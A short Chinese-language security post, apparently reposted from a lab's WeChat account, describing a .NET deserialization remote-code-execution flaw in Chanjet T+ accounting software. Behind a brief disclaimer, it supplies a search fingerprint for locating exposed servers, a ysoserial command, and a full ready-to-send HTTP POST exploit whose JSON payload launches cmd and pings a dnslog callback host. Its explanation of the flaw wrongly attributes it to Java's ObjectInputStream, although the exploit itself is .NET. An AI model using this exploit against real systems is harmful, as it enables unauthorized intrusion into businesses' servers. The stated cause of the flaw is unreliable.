0x01 阅读须知
凯撒安全实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
0x02 漏洞原理
该漏洞的原理在于畅捷通T+在反序列化时使用了Java的ObjectInputStream类进行处理,攻击者可以构造恶意的序列化数据,并将其提交给软件进行反序列化操作。漏洞的触发条件是当程序接收到并尝试反序列化恶意数据时。
0x03 漏洞利用
鹰图指纹
app.name=”畅捷通 T+”
/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore 接口存在net反序列化漏洞
利用github开源项目ysoserial生成
ysoserial.exe -g ObjectDataProvider -f JavaScriptSerializer -c "ping dnslog" -raw
显示id不能为空就行了
dns成功响应即存在漏洞
附带poc
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: xxxxx
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5666.197 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://xxxxxxx/tplus/view/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=wrkwpvbufjt5bxzesu2pitgj
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
content-typeapplication/json
Connection: close
Content-Length: 592
{"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c ping xxxx"
}
}
}}
原文始发于微信公众号(凯撒安全实验室):畅捷通T+ net反序列化漏洞